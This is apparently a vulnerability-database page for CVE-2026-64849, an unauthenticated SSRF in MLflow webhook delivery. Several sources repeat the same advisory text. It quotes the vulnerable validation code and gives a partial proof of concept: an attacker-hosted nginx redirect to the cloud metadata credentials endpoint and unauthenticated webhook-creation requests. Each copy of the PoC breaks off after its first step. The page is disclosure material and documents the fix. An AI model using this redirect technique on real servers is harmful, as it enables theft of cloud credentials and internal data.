CVE-2026-64849
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
9.3
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.
- Record
CVE-2026-64849- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-60473
9.3
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.
- Record
EUVD-2026-60473- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7gwp-5pfp-969j
9.3
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
Summary
The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.
Details
Three facts combine:
-
Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (
mlflow/server/auth/__init__.py,WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default. -
The guard validates but pins nothing —
mlflow/utils/validation.py_validate_webhook_url:
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
The resolved IP is never carried into the connection.
- Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
test_webhook returns response_status and response_body to the caller. Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
PoC
All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
/test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
…
- Record
GHSA-7gwp-5pfp-969j- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
CISA KEV No score
MLflow Server-Side Request Forgery Vulnerability
MLflow contains a server-side request forgery vulnerability that can allow attackers to reach internal or cloud metadata services and receive response_status and response_body.
- Record
CVE-2026-64849- Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
9.3
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.
- Record
CVE-2026-64849- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
9.3
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.
- Record
CVE-2026-64849- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-7gwp-5pfp-969j
9.3
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
Summary
The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.
Details
Three facts combine:
-
Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (
mlflow/server/auth/__init__.py,WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default. -
The guard validates but pins nothing —
mlflow/utils/validation.py_validate_webhook_url:
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
The resolved IP is never carried into the connection.
- Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
test_webhook returns response_status and response_body to the caller. Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
PoC
All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
/test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
…
- Record
GHSA-7gwp-5pfp-969j- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-3687
9.3
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
Summary
The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.
Details
Three facts combine:
-
Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (
mlflow/server/auth/__init__.py,WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default. -
The guard validates but pins nothing —
mlflow/utils/validation.py_validate_webhook_url:
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
The resolved IP is never carried into the connection.
- Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
test_webhook returns response_status and response_body to the caller. Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
PoC
All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
/test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
…
- Record
PYSEC-2026-3687- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
OSVBIT-mlflow-2026-64849 No score
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.
- Record
BIT-mlflow-2026-64849- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mlflowPyPI |
3.3.0 up to 3.15.0 | 3.15.0 |
mlflowBitnami |
3.3.0 up to 3.15.0 | 3.15.0 |
mlflowPyPI |
3.3.0 up to 3.15.0, plus listed versions 3.10.03.10.0rc03.10.13.11.03.11.0rc0 Show 23 moreShow less3.11.0rc13.11.13.12.03.12.0rc03.13.03.13.0rc03.14.03.3.13.3.23.4.03.4.0rc03.5.03.5.0rc03.5.13.6.03.6.0rc03.7.03.7.0rc03.8.03.8.0rc03.8.13.9.03.9.0rc0 |
3.15.0 |
mlflowPyPI |
before 3.15.0, plus listed versions 0.0.10.1.00.2.00.2.10.3.0 Show 45 moreShow less0.4.00.4.10.4.20.5.00.5.10.5.20.6.00.7.00.8.00.8.10.8.20.9.00.9.0.10.9.11.0.01.1.01.1.1.dev01.10.01.11.01.12.01.12.11.131.13.11.14.01.14.11.15.01.16.01.17.01.18.01.19.01.2.01.20.01.20.11.20.21.21.01.22.01.23.01.23.11.24.01.25.01.25.11.26.01.26.11.27.01.28.0 |
3.15.0 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | codeb0ssx/CVE-2026-64849-PoC | 2026-08-18 |
| PoC in GitHub | BiuTrap/CVE-2026-64849 | 2026-08-19 |
| PoC in GitHub | zavisco/CVE-2026-64849.yaml | 2026-08-19 |
| PoC in GitHub | isaca0315/CVE-2026-64849-poc-lab | 2026-09-06 |
| PoC in GitHub | maxprog-svg/CVE-2026-64849 | 2026-10-25 |
| Nuclei | MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass |
History
| Recorded | Changed | Sources |
|---|---|---|
| exploitation, exploits | ||
| first indexed | CVE List, EUVD, GitHub Advisories, CISA KEV, Nuclei, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-64849 is a critical vulnerability (CVSS 9.3) in Lfprojects Mlflow, published August 17, 2026. CISA lists it as known to be exploited, since August 19, 2026. EUVD reports exploitation since August 19, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 10.0%, the 95th percentile. Fixed in mlflow 3.15.0.
References
github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j
github.com/mlflow/mlflow/issues/24179
github.com/mlflow/mlflow/pull/24258
github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939
github.com/mlflow/mlflow/releases/tag/v3.15.0
cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-64849
Show 6 moreShow less
Left out here: 132 versions and the rest of 3 source descriptions. The JSON record has them.